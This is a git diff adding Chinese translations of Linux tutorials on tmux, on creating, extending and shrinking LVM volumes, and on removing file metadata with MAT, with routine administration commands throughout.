http://linuxaria.com/recensioni/check-how-much-do-you-type-with-whatpulse-on-linux + +作者:[linuxari][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/100563597940685405833?rel=author +[1]:http://whatpulse.org/ref/833872/ +[2]:http://linuxaria.com/article/tool-command-line-bandwidth-linux +[3]:http://www.whatpulse.org/downloads/ +[4]:https://aur.archlinux.org/packages/whatpulse/ +[5]:http://linuxaria.com/tag/network diff --git a/published/201410/20140811 How to improve your productivity in terminal environment with Tmux.md b/published/201410/20140811 How to improve your productivity in terminal environment with Tmux.md new file mode 100644 index 0000000000..5bdb273d06 --- /dev/null +++ b/published/201410/20140811 How to improve your productivity in terminal environment with Tmux.md @@ -0,0 +1,151 @@ +如何使用Tmux提高终端环境下的效率 +=== + +鼠标的发明是了不起的创新,它让电脑更加接近普通人。但从程序员和系统管理员的角度,使用电脑工作时,手一旦离开键盘,就会有些分心。 + +作为一名系统管理员,我大量的工作都需要在终端环境下。打开很多标签,然后在多个终端之间切换窗口会让我慢下来。尤其是当我的服务器出问题的时候,我不能浪费任何时间! + +![](https://farm6.staticflickr.com/5563/14853747084_e14cf18e8f_z.jpg) + +[Tmux][1]是我日常工作必要的工具之一。我可以借助Tmux构建出复杂的开发环境,同时还可以在一旁进行SSH远程连接。我可以开出很多窗口,将其拆分成很多面板,接管和分离会话等等。掌握了Tmux之后,你就可以扔掉鼠标了(只是个玩笑:D)。 + +Tmux("Terminal Multiplexer"的简称)可以让我们在单个屏幕的灵活布局下开出很多终端,我们就可以协作地使用它们。举个例子,在一个面板中,我们用Vim修改一些配置文件,在另一个面板,我们使用`irssi`聊天,而在其余的面板,可以跟踪一些日志。然后,我们还可以打开新的窗口来升级系统,再开一个新窗口来进行服务器的ssh连接。在这些窗口面板间浏览切换和创建它们一样简单。它的高度可配置和可定制的,让其成为你心中的延伸 + +### 在Linux/OSX下安装Tmux ### + +你可以通过编译软件源或者通过系统包管理器的方式安装,我建议使用包管理器,这样比编译更快更简单 + +#### OSX: #### + + # sudo brew install tmux + # sudo port install tmux + +#### Debian/Ubuntu: #### + + # sudo apt-get install tmux + +####RHEL/CentOS/Fedora(RHEL/CentOS 要求 [EPEL repo][2]):#### + + $ sudo yum install tmux + +####Archlinux:#### + + $ sudo pacman -S tmux + +### 使用不同会话工作 ### + +使用Tmux的最好方式是使用会话的方式,这样你就可以以你想要的方式,将任务和应用组织到不同的会话中。如果你想改变一个会话,会话里面的任何工作都无须停止或者杀掉。让我们来看看这是怎么工作的。 + +让我们开始一个叫做"session"的会话,并且运行top命令 + + $ tmux new -s new session + $ top + +然后输入**CTRL-b d**从此会话脱离,想要重新连接此会话,需输入: + + $ tmux attach-session -t session + +之后你会看到top操作仍然运行在重新连接的会话上。 + +一些管理sessions的命令: + + $ tmux list-session + $ tmux new-session <会话名> + $ tmux attach-session -t <会话名> + $ tmux rename-session -t <会话名> + $ tmux choose-session -t <会话名> + $ tmux kill-session -t <会话名> + +### 使用不同的窗口工作 + +很多情况下,你需要在一个会话中运行多个命令,执行多个任务。我们可以在一个会话的多个窗口里组织他们。在现代的GUI终端(比如 iTerm或者Konsole),一个窗口被视为一个标签。在会话中配置了我们默认的环境之后,我们就能够在一个会话中创建许多我们需要的窗口。窗口就像运行在会话中的应用程序,当我们脱离当前会话的时候,它仍在持续,让我们来看一个例子: + + $ tmux new -s my_session + +![](https://farm6.staticflickr.com/5583/14853747014_442b3742fa_z.jpg) + +按下**CTRL-b c** + +这将会创建一个新的窗口,然后屏幕的光标移向它。现在你就可以在新窗口下运行你的新应用。你可以修改你当前窗口的名字。在目前的例子里,我运行的top程序,所以top就是该窗口的名字 + +如果你想要重命名,只需要按下: + +**CTRL-b** + +状态条将会改变,这时你将可以重命名当前的窗口 + +![](https://farm6.staticflickr.com/5579/14855868482_d52516a357_z.jpg) + +一旦在一个会话中创建多个窗口,我们需要在这些窗口间移动的办法。窗口像数组一样组织在一起,从0开始用数字标记每个窗口,想要快速跳转到其余窗口: + +**CTRL-b <窗口号>** + +如果我们给窗口起了名字,我们可以使用下面的命令找到它们: + +**CTRL-b f** + +也可以列出所有窗口: + +**CTRL-b w** + +按照顺序切换到不同的窗口: + +**CTRL-b n**(到达下一个窗口) +**CTRL-b p**(到达上一个窗口) + +想要离开一个窗口,可以输入 exit 或者: + +**CTRL-b &** + +关闭窗口之前,你需要确认一下。 + +### 把窗口分成许多面板 + +有时候你在编辑器工作的同时,需要查看日志文件。在编辑的同时追踪日志真的很有帮助。Tmux可以让我们把窗口分成许多面板。举个例子,我们可以创建一个控制台监测我们的服务器,同时用编辑器构造复杂的开发环境,这样就能同时进行编译和调试了。 + +让我们创建另一个Tmux会话,让其以面板的方式工作。首先,如果我们在某个会话中,那就从Tmux会话中脱离出来: + +**CTRL-b d** + +开始一个叫做"panes"的新会话: + + $ tmux new -s panes + +你可以水平或者竖直分割一个窗口,水平分割输入: + +**CRTL-b "** + +现在你就拥有两个面板,现在我们竖直分割: + +**CRTL-b %** + +又增加了两个: + +![](https://farm4.staticflickr.com/3881/14669677417_bc1bdce255_z.jpg) + +在他们之间移动: + +**CTRL-b <光标键>** + +### 结论 + +我希望这篇教程能对你有作用。此外,像[Tmuxinator][3] 或者 [Tmuxifier][4]这样的工具,可以简化Tmux会话,窗口和面板的创建及加载,你可以很容易就配置Tmux。如果你没有使用过这些,尝试一下吧! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/improve-productivity-terminal-environment-tmux.html + +作者:[Christopher Valerio][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/valerio +[1]:http://tmux.sourceforge.net/ +[2]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[3]:https://github.com/tmuxinator/tmuxinator +[4]:https://github.com/jimeh/tmuxifier + + + diff --git a/published/201410/20140813 How to Extend or Reduce LVM' s (Logical Volume Management) in Linux--Part II.md b/published/201410/20140813 How to Extend or Reduce LVM' s (Logical Volume Management) in Linux--Part II.md new file mode 100644 index 0000000000..48b261e5ef --- /dev/null +++ b/published/201410/20140813 How to Extend or Reduce LVM' s (Logical Volume Management) in Linux--Part II.md @@ -0,0 +1,291 @@ +在Linux中扩展/缩减LVM(第二部分) +================================================================================ + +前面我们已经了解了怎样使用LVM创建弹性的磁盘存储。这里,我们将了解怎样来扩展卷组,扩展和缩减逻辑卷。在这里,我们可以缩减或者扩展逻辑卷管理(LVM)中的分区,LVM也可称之为弹性卷文件系统。 + +![Extend/Reduce LVMs in Linux](http://www.tecmint.com/wp-content/uploads/2014/08/LVM_extend.jpg) + +### 前置需求 ### + +- [使用LVM创建弹性磁盘存储——第一部分][1] + +#### 什么时候我们需要缩减卷? #### + +或许我们需要创建一个独立的分区用于其它用途,或者我们需要扩展任何空间低的分区。遇到这种情况时,使用 LVM我们可以很容易地缩减大尺寸的分区,以及扩展空间低的分区,只要按下面几个简易的步骤来即可。 + +#### 我的服务器设置 —— 需求 #### + +- 操作系统 – 安装有LVM的CentOS 6.5 +- 服务器IP – 192.168.0.200 + +### 如何扩展卷组以及缩减逻辑卷 ### + +#### 逻辑卷扩展 #### + +目前,我们已经有一个PV,VG和2个LV。让我们用下面的命令来列出它们。 + + # pvs + # vgs + # lvs + +![Logical Volume Extending](http://www.tecmint.com/wp-content/uploads/2014/08/Logical-Volume-Extending.jpg) + +逻辑卷扩展 + +在物理卷和卷组中没有空闲空间可用了,所以,现在我们不能扩展逻辑卷的大小。要扩展,我们需要添加一个物理卷(**PV**),然后通过扩展**vg**来扩展卷组,这样我们就会得到足够大的空间来扩展逻辑卷大小了。所以,首先我们应该去添加一个物理卷。 + +要添加一个新**PV**,我们必须使用fdisk来创建一个LVM分区。 + + # fdisk -cu /dev/sda + +- 选择**n**来创建新分区。 +- 选择**p**来创建主分区。 +- 选择我们需要创建的分区号。 +- 如果有其它可用磁盘,请按**1**。 +- 使用**t**来修改分区类型。 +- 输入**8e**来将分区类型修改为Linux LVM。 +- 使用**p**来打印创建的分区(这里我们没有使用该选项)。 +- 按**w**写入修改。 + +完成后重启系统。 + +![Create LVM Partition](http://www.tecmint.com/wp-content/uploads/2014/08/Create-LVM-Partition.jpg) +创建LVM分区 + +使用fdisk列出并检查我们创建的分区。 + + # fdisk -l /dev/sda + +![Verify LVM Partition](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-LVM-Partition.jpg) +验证LVM分区 + +接下来,使用下列命令来创建新**PV**(物理卷)。 + + # pvcreate /dev/sda1 + +使用下面的命令来验证pv。 + + # pvs + +![Create Physical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Create-Physical-Volume.jpg) + +创建物理卷 + +#### 扩展卷组 #### + +添加该pv到**vg_tecmint**卷组来扩展卷组的大小,以获取更多空间来扩展**lv**。 + + # vgextend vg_tecmint /dev/sda1 + +让我们检查现在正在使用的卷组的大小。 + + # vgs + +![Extend Volume Group](http://www.tecmint.com/wp-content/uploads/2014/08/Extend-Volume-Group.jpg) + +扩展卷组 + +我们甚至可以看到哪个**PV**用于创建使用中的特定卷组。 + + # pvscan + +![Check Volume Group](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Volume-Group.jpg) +检查卷组 + +这里,我们可以看到卷组所处的物理卷。我们已经添加了一个pv,而且它完全空着。在扩展逻辑卷之前,让我们先看看我们所拥有的各个卷组的大小。 + +![Check All Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Each-Logical-Volume.jpg) + +检查所有逻辑卷 + +- LogVol00用于Swap。 +- LogVol01用于/。 +- 现在我们有16.50GB大小的空间用于/(root)。 +- 当前有4226物理扩展(PE)可用。 + +现在,我们打算去扩展/分区**LogVol01**。在扩展后,我们可以像上面那样列出它的大小以确认。我们能可以使用GB或PE来扩展,这一点我已经在LVM第一部分解释过了,这里我使用PE来扩展。 + +要获取可用的物理扩展大小,运行以下命令。 + + # vgdisplay + +![Check Available Physical Size](http://www.tecmint.com/wp-content/uploads/2014/08/Check-Available-Physical-Extend.jpg) + +检查可用的物理扩展 + +总共有**4607**空闲PE可用,亦即有**18GB**空间空间可用。因此,我们可以将我们的逻辑卷扩展到**18GB**这么大。让我们使用PE大小来扩展。 + + # lvextend -l +4607 /dev/vg_tecmint/LogVol01 + +使用**+**来添加更多空间。在扩展后,我们需要改变文件系统大小,使用以下命令。 + + # resize2fs /dev/vg_tecmint/LogVol01 + +![Expand Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Expand-Logical-Volume.jpg) +扩展逻辑卷 + +- 用来使用物理扩展扩展逻辑卷的命令。 +- 这里我们可以看到它从16.51GB扩展到了34GB。 +- 如果文件系统已被挂载并处于使用中,改变文件系统大小。 +- 要扩展逻辑卷,我们不需要卸载文件系统 + +现在,让我们看看当前使用的改变大小后的逻辑卷。 + + # lvdisplay + +![Resize Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Resize-Logical-Volume.jpg) + +改变逻辑卷大小 + +- LogVol01用于扩展的卷 /。 +- 扩展后,从16.50GB上升到了34.50GB。 +- C当前扩展,在扩展前有4226,我们已经添加了4607个扩展,因此现在有8833。 + +现在,如果我们检查可用的vg的话,空闲PE将会是0。 + + # vgdisplay + +查看扩展的结果。 + + # pvs + # vgs + # lvs + +![Verify Resize Partition](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-Resize-Partition.jpg) + +验证分区大小改变 + +- 添加的新物理卷。 +- 卷组vg_tecmint从17.51GB扩展到了35.50GB。 +- 逻辑卷LogVol01从16.51GB扩展到了34.50GB。 + +这里,我们已经完成扩展卷组和逻辑卷的过程。让我们一起迈向逻辑卷管理中一些有趣的部分。 + +#### 缩减逻辑卷(LVM) #### + +这里,我们将了解如何缩减逻辑卷。人人都说它很危险,在缩减lvm的时候可能会导致灾难。缩减lvm在逻辑卷管理中比其它部分要来得确实有趣得多。 + +- 在开始之前,备份好数据总是对的,这样如果出错,就不会头痛了。 +- 要缩减逻辑卷,需要小心翼翼地完成5个步骤。 +- 在扩展一个卷的时候,我们可以在该卷挂载时扩展它(在线),但对于缩减,我们必须在缩减前卸载文件系统。 + +让我们来了解一下下面这5个步骤。 + +- 卸载文件系统以便缩减。 +- 在卸载后检查文件系统。 +- 缩减文件系统。 +- 5减少当前逻辑卷大小。 +- 再检查文件系统以防出错。 +- 将文件系统再次挂载回去。 + +为了演示,我已经创建了独立的卷组和逻辑卷。这里,我将缩减逻辑卷**tecmint_reduce_test**。现在它有18GB大小,我们需要将它缩减到**10GB**而不丢失数据。也就是说,我们需要从**18GB**中减少**8GB**。卷中已经有**4GB**被使用。 + + 18GB ---> 10GB + +在缩减大小的时候,我们只需要缩减8GB,所以在缩减后它总计会有10GB。 + + # lvs + +![Reduce Logical Volume](http://www.tecmint.com/wp-content/uploads/2014/08/Reduce-Logical-Volume.jpg) +缩减逻辑卷 + +这里,我们可以看到文件系统信息。 + + # df -h + +![Check File System Size](http://www.tecmint.com/wp-content/uploads/2014/08/Check-File-System-Size.jpg) +检查文件系统大小 + +- 卷大小是18GB。 +- 它已经使用了3.9GB。 +- 可用空间是13GB。 + +首先,卸载挂载点。 + + # umount -v /mnt/tecmint_reduce_test/ + +![Unmount Parition](http://www.tecmint.com/wp-content/uploads/2014/08/Unmount-Parition.jpg) + +卸载分区 + +然后,使用以下命令来检查文件系统错误。 + + # e2fsck -ff /dev/vg_tecmint_extra/tecmint_reduce_test + +![Scan Parition for Errors](http://www.tecmint.com/wp-content/uploads/2014/08/Scan-Parition-for-Errors.jpg) +扫描分区错误 + +**注意**:必须通过所有文件系统检查的5个步骤,若未完全通过,则你的文件系统可能存在问题。 + +接下来,缩减文件系统。 + + # resize2fs /dev/vg_tecmint_extra/tecmint_reduce_test 8GB + +![Reduce File System](http://www.tecmint.com/wp-content/uploads/2014/08/Reduce-File-System.jpg) +缩减文件系统 + +使用GB来缩减逻辑卷。 + + # lvreduce -L -8G /dev/vg_tecmint_extra/tecmint_reduce_test + +![Reduce Logical Partition](http://www.tecmint.com/wp-content/uploads/2014/08/Reduce-Logical-Volume-Partition.jpg) +缩减逻辑分区 + +要使用PE来缩减逻辑卷,我们需要知道默认PE大小和卷组的总PE大小,以进行一次小小的计算来得出准确的缩减大小。 + + # lvdisplay vg_tecmint_extra + +这里,我们需要使用bc命令来做一些小计算来获得10GB的PE大小。 + + 1024MB x 10GB = 10240MB or 10GB + + 10240MB / 4PE = 2048PE + +按**CTRL+D**来退出BC。 + +![Calculate PE Size](http://www.tecmint.com/wp-content/uploads/2014/08/bc-command.jpg) + +计算PE大小 + +使用PE来缩减大小。 + + # lvreduce -l -2048 /dev/vg_tecmint_extra/tecmint_reduce_test + +![Reduce Size Using PE](http://www.tecmint.com/wp-content/uploads/2014/08/Reduce-Size-Using-PE.jpg) +使用PE来缩减大小 + +将文件系统大小调整回去。在这一步中,如果发生任何错误,这就意味着我们已经将文件系统搞乱了。 + + # resize2fs /dev/vg_tecmint_extra/tecmint_reduce_test + +![Resize File System](http://www.tecmint.com/wp-content/uploads/2014/08/Resize-File-System.jpg) + +将文件系统挂载回同样的挂载点。 + + # mount /dev/vg_tecmint_extra/tecmint_reduce_test /mnt/tecmint_reduce_test/ + +![Mount File System](http://www.tecmint.com/wp-content/uploads/2014/08/Mount-File-System.jpg) +挂载文件系统 + +检查分区和文件的大小。 + + # lvdisplay vg_tecmint_extra + +这里,我们可以看到最后的结果,逻辑已经被缩减到10GB。 + +![Verify Logical Volume Size](http://www.tecmint.com/wp-content/uploads/2014/08/Verify-Logical-Volume-Size.jpg) + +在本文中,我们已经了解了如何来扩增卷组、逻辑卷以及缩减逻辑卷。在下一部分(第三部分)中,我们将了解如何为逻辑卷做快照并将它恢复到更早的状态。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/extend-and-reduce-lvms-in-linux/ + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://linux.cn/article-3965-1.html diff --git a/published/201410/20140813 How to remove file metadata on Linux.md b/published/201410/20140813 How to remove file metadata on Linux.md new file mode 100644 index 0000000000..f9a0bb7050 --- /dev/null +++ b/published/201410/20140813 How to remove file metadata on Linux.md @@ -0,0 +1,114 @@ +如何在Linux上移除文件内的隐私数据 +================================================================================ + +典型的数据文件通常关联着“元数据”,其包含这个文件的描述信息,表现为一系列属性-值的集合。元数据一般包括创建者名称、生成文件的工具、文件创建/修改时期、创建位置和编辑历史等等。几种流行的元数据标准有 EXIF(图片)、RDF(web资源)和DOI(数字文档)等。 + +虽然元数据在数据管理领域有它的优点,但事实上它会[危害][1]你的隐私。相机图片中的EXIF格式数据会泄露出可识别的个人信息,比如相机型号、拍摄相关的GPS坐标和用户偏爱的照片编辑软件等。在文档和电子表格中的元数据包含作者/所属单位信息和相关的编辑历史。不一定这么绝对,但诸如[metagoofil][2]一类的元数据收集工具在信息收集的过程中常最作为入侵测试的一部分被利用。 + +对那些想要从共享数据中擦除一切个人元数据的用户来说,有一些方法从数据文件中移除元数据。你可以使用已有的文档或图片编辑软件,通常有自带的元数据编辑功能。在这个教程里,我会介绍一种不错的、单独的**元数据清理工具**,其目标只有一个:**匿名一切私有元数据**。 + +[MAT][3](元数据匿名工具箱)是一款专业的元数据清理器,使用Python编写。它属于Tor旗下的项目,而且是Live 版的隐私增强操作系统 [Trails][4] 的标配应用。 + +与诸如[exiftool][5]等只能对有限种类的文件类型进行写入的工具相比,MAT支持从各种各样的文件中消除元数据:图片(png、jpg)、文档(odt、docx、pptx、xlsx和pdf)、归档文件(tar、tar.bz2)和音频(mp3、ogg、flac)等。 + +### 在Linux上安装MAT ### + +在基于Debian的系统(Ubuntu或Linux Mint)上,已经打包好MAT,所以安装很直接: + + $ sudo apt-get install mat + +在Fedora上,并没有预先生成的MAT软件包,所以你需要从源码生成。这是我在Fedora上生成MAT的步骤(不成功的话,请查看教程底部): + + $ sudo yum install python-devel intltool python-pdfrw perl-Image-ExifTool python-mutagen + $ sudo pip install hachoir-core hachoir-parser + $ wget https://mat.boum.org/files/mat-0.5.tar.xz + $ tar xf mat-0.5.tar.xz + $ cd mat-0.5 + $ python setup.py install + +### 使用MAT-GUI匿名元数据 ### + +一旦安装好,通过GUI和命令行都可以使用MAT。输入这个命令启动MAT的GUI: + + $ mat-gui + +尝试清理一个包含如下内置元数据的实例文档文件(如private.odt)。 + +![](https://farm6.staticflickr.com/5588/14694815240_22eced1f94_z.jpg) + +点击“添加”按钮来添加需要清理的文件到MAT中。一旦载入文件,点击“确认”按钮对所有隐藏的元数据信息进行扫描。 + +![](https://farm4.staticflickr.com/3874/14694958067_00694d9d1f_z.jpg) + +只要元数据被MAT检测到,“State”状态就会被标记成“Dirty”。双击文件可以查看检测到的元数据。 + +![](https://farm4.staticflickr.com/3861/14694815160_cda63bb8d8_z.jpg) + +点击“清理”按钮来清除文件中的元数据。MAT会自动清空文件中的所有私有元数据字段。 + +![](https://farm6.staticflickr.com/5554/14694815220_40918f680f_z.jpg) + +清除后的状态中不包含任何私有可辨识的痕迹: + +![](https://farm6.staticflickr.com/5591/14881486215_83808b6aaf_z.jpg) + +### 从命令行匿名元数据 ### + + $ mat -c . + +正如前面提到的,另一种调用MAT的方式是从命令行,使用mat命令可达到。 + +为了检查任何敏感的元数据,先前往文件所在的目录,然后运行: + + $ mat -c . + +这样会扫描当前目录和其子目录下的所有文件,并报告它们的状态(已清理或未清理)。 + +![](https://farm6.staticflickr.com/5564/14878449991_cf9d605e6d_o.png) + +你可以使用“-d”选项来查看检测到的真实元数据: + + $ mat -d + +![](https://farm6.staticflickr.com/5558/14901361173_0e587329f5_z.jpg) + +如果不为mat命令提供任何选项,默认操作会移除文件的元数据。如果要在清理的过程中保留原始文件的备份,使用“-b”选项。下面命令会清除所有文件的元数据,并将原始文件存储为“*.bak”文件。 + + $ mat -b . + +![](https://farm6.staticflickr.com/5591/14694850169_1cf7562657_z.jpg) + +查看所支持的文件类型,请运行: + + $ mat -l + +![](https://farm6.staticflickr.com/5588/14901361153_e59ab7b684_z.jpg) + +### 故障排除 ### + +当前我在Fedora上使用编译版本的MAT遇到了下列问题。当我尝试在Fedora清除归档/文档文件的元数据时(如*.gz、*.odt、*.docx),MAT因为下列错误失败。如果你知道如何解决这个问题,请在评论里回复我。 + + File "/usr/lib64/python2.7/zipfile.py", line 305, in __init__ + raise ValueError('ZIP does not support timestamps before 1980') + ValueError: ZIP does not support timestamps before 1980 + +### 总结 ### + +MAT是一款简单但非常好用的工具,用来预防从元数据中无意泄露私人数据。请注意如果有必要,文件内容也需要保护。MAT能做的是消除与文件相关的元数据,但并不会对文件本身进行任何操作。简而言之,MAT是一名救生员,因为它可以处理大多数常见的元数据移除,但不应该只指望它来保证你的隐私。[译者注:养成良好的隐私保护意识和习惯才是最好的方法] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/08/remove-file-metadata-linux.html + +作者:[Dan Nanni][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://www.theguardian.com/world/2013/sep/30/nsa-americans-metadata-year-documents +[2]:http://code.google.com/p/metagoofil/ +[3]:https://mat.boum.org/ +[4]:https://tails.boum.org/ +[5]:http://xmodulo.com/2013/08/view-or-edit-pdf-and-image-metadata-from-command-line-on-linux.html \ No newline at end of file diff --git a/published/201410/20140813 Setup Flexible Disk Storage with Logical Volume Management (LVM) in Linux--PART 1.md b/published/201410/20140813 Setup Flexible Disk Storage with Logical Volume Management (LVM) in Linux--PART 1.md new file mode 100644 index 0000000000..fc80f34f20 --- /dev/null +++ b/published/201410/20140813 Setup Flexible Disk Storage with Logical Volume Management (LVM) in Linux--PART 1.md @@ -0,0 +1,353 @@ +在Linux中使用LVM构建灵活的磁盘存储(第一部分) +================================================================================ +**逻辑卷管理器(LVM)**让磁盘空间管理更为便捷。如果一个文件系统需要更多的空间,可以在它的卷组中将空闲空间添加到其逻辑卷中,而文件系统可以根据你的意愿调整大小。如果某个磁盘启动失败,用于替换的磁盘可以使用卷组注册成一个物理卷,而逻辑卷扩展可以将数据迁移到新磁盘而不会丢失数据。 + +
![Create LVM Storage in Linux](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage.jpg)
+ +
*在Linux中创建LVM存储*
+ +在如今,每台服务器空间都会因为我们的需求增长而不断扩展。逻辑卷可以用于RAID,SAN。单个物理卷将会被加入组以创建卷组,在卷组中,我们需要切割空间以创建逻辑卷。在使用逻辑卷时,我们可以使用某些命令来跨磁盘、跨逻辑卷扩展,或者减少逻辑卷大小,而不用重新格式化和重新对当前磁盘分区。卷可以跨磁盘抽取数据,这会增加I/O数据量。 + +### LVM特性 ### + +- 可以在任何时候灵活地扩展空间。 +- 可以安装和处理任何文件系统。 +- 可以通过迁移来恢复错误磁盘。 +- 可以使用快照功能恢复文件系统到先前的阶段。等等…… + +####我的服务器设置 - 需求 #### + +- 操作系统 —— 安装有LVM的CentOS 6.5 +- 服务器IP地址 —— 192.168.0.200 + +### 在Linux中创建LVM磁盘存储 ### + +**1.** 我们已经在虚拟磁盘(VDA)中使用了带LVM的CentOS 6.5操作系统。在此,我们可以使用下列命令查看到物理卷(PV),卷组(VG),逻辑卷(LV)。 + + # pvs + # vgs + # lvs + +
![Check Physical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-03.jpg)
+
*检查物理卷*
+ +下面是上面截图中各个参数的说明。 + +- 物理磁盘大小(PV Size) +- 用作虚拟磁盘vda的磁盘 +- 卷组大小(VG Size) +- 卷组名称(vg_tecmint) +- 逻辑卷名称(LogVol00,LogVol01) +- LogVol00分配给swap,大小1GB +- LogVol01分配给/,大小16.5GB + +从上面看,我们可以知道VDA磁盘中没有足够的空闲空间。 + +**2.** 为了创建一个**新卷组**,我们需要在这台服务器上添加额外的**3个硬盘**。3个驱动器不是强制使用的,只要一个就足够用来创建新的**VG**,并在其中创建**LV**了。我在这里添加了更多的磁盘,目的只是用于演示和更多命令功能的说明。 + +下面是我已经额外添加的磁盘。 + + sda, sdb, sdc + +---------- + + # fdisk -l + +
![Verify Added Disks](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-04.jpg)
+
*验证添加的磁盘*
+ +- 用于操作系统(CentOS 6.5)的默认磁盘。 +- 默认磁盘上定义的分区(vda1 = swap),(vda2 = /)。 +- 额外添加的磁盘Disk1,Disk2,Disk3。 + +各个磁盘大小都是20GB,默认的卷组的PE大小为4MB,我们在该服务器上配置的卷组使用默认PE。 + +
![Volume Group Display](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-05.jpg)
+
*卷组显示*
+ +- **VG Name** – 卷组名称。 +- **Format** – LVM架构使用LVM2。 +- **VG Access** – 卷组为读写模式,备好待用。 +- **VG Status** – 卷组可调整大小,如果我们需要添加更多空间,我们可以扩展更多。 +- **Cur LV** – 当前卷组中有2个逻辑卷。 +- **CurPV and Act PV** – 当前使用的物理磁盘是1(vda),已被激活,因此我们可以使用该卷组。 +- **PE Size** – 磁盘的物理扩展大小,可以定义使用PE,或者GB,LVM的默认PE大小是4MB。例如,如果我们需要创建5GB大小的逻辑卷,我们可以使用总计1280 PE,你们懂我的意思么? + +这里解释一下 -> 1024MB = 1GB,这样的话,1024MB x 5 = 5120PE = 5GB,然后5120/4 = 1280,4是默认的PE大小。 + +- Total PE – 该卷组具有的PE数量。 +- Alloc PE – 总的PE使用量,已经使用的全部PE,4482 x 4PE = 17928。 +- Free PE – 这里因为已经使用,所以没有空闲PE了。 + +**3.** 只使用了vda,当前CentOS在使用lvm的vda物理磁盘中安装了**/boot,/,swap,**,该磁盘中没有空间剩余。 + + # df -TH + +
![Check the Disk Space](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-06.jpg)
+
*检查磁盘空间*
+ +上面的图片中显示了用于根的挂载点已使用了**18GB**,因此没有空闲空间可用了。 + +**4.** 那么,让我们创建新的物理卷(**pv**),以及名为**tecmint_add_vg**的卷组(**vg**),并在其中创建逻辑卷(**lv**)。这里,我们可以创建4个逻辑卷,分别名为 **tecmint_documents**,**tecmint_manager**以及**tecmint_add_vg**。 + +我们可以扩展当前使用的卷组以获得更多空间。但在这里,我们将要做的是,创建新的卷组,然后在里面肆意妄为吧。过会儿,我们可以看到怎样来扩展使用中的卷组的文件系统。 + +在使用新磁盘前,我们需要使用fdisk来对磁盘分区。 + + # fdisk -cu /dev/sda + +- **c** – 关闭DOS兼容模式,推荐使用该选项。 +- **u** – 当列出分区表时,会以扇区而不是柱面显示。 + +
![Create New Physical Partitions](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-07.jpg)
+
*创建新的物理分区*
+ +接下来,请遵循以下步骤来创建新分区。 + +- 选择**n**来创建新分区。 +- 选择**p**来创建主分区。 +- 选择我们需要创建的分区号。 +- 按**Enter**两次来使用整个磁盘空间。 +- 我们需要修改新创建的分区类型,输入**t**。 +- 选择需要修改的分区号,选择我们创建的分区号**1**。 +- 这里,我们需要修改类型。我们需要创建LVM,因此我们使用LVM的类型代码8e。如果不知道类型代码,按**L**来列出所有类型代码。 +- 打印我们创建的分区以确认。 +- 这里我们可以看到Linux LVM的ID 8e。 +- 写入修改并退出fdisk。 + +重复以上步骤,为另外2个磁盘sdb和sdc创建新分区。然后重启机器,使用fdisk命令来验证分区表。 + + # fdisk -l + +
![Verify Partition Table](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-08.jpg)
+
*验证分区表*
+ +### 创建物理卷 ### + +**5.** 现在,该使用3个磁盘来创建物理卷了。这里,我已经使用pvs命令将物理磁盘列了出来,现在只有一个默认的**pvs**被列出来了。 + + # pvs + +然后,使用命令创建新的物理磁盘。 + + # pvcreate /dev/sda1 /dev/sdb1 /dev/sdc1 + +再次列出磁盘来查看新创建物理磁盘。 + + # pvs + +
![Create Physical Volumes](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-09.jpg)
+
*创建物理卷*
+ +### 创建卷组 ### + +**6.** 使用可用的空闲PV来创建名为**tecmint_add_vg**的卷组,PE大小为32。显示当前卷组,我们可以看到只有带有1个PV的一个卷组在使用。 + + # vgs + +这将使用上面创建的3个物理卷创建名为**tecmint_add_vg**的卷组,PE大小为32MB。 + + # vgcreate -s 32M tecmint_add_vg /dev/sda1 /dev/sdb1 /dev/sdc1 + +接下来,再次运行vgs命令来验证卷组。 + + # vgs + +
![Create Volume Groups](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-10.jpg)
+
*创建卷组*
+ +
![Verify Volume Groups](http://www.tecmint.com/wp-content/uploads/2014/07/Create-Logical-Volume-Storage-11.jpg)
+
*验证卷组*
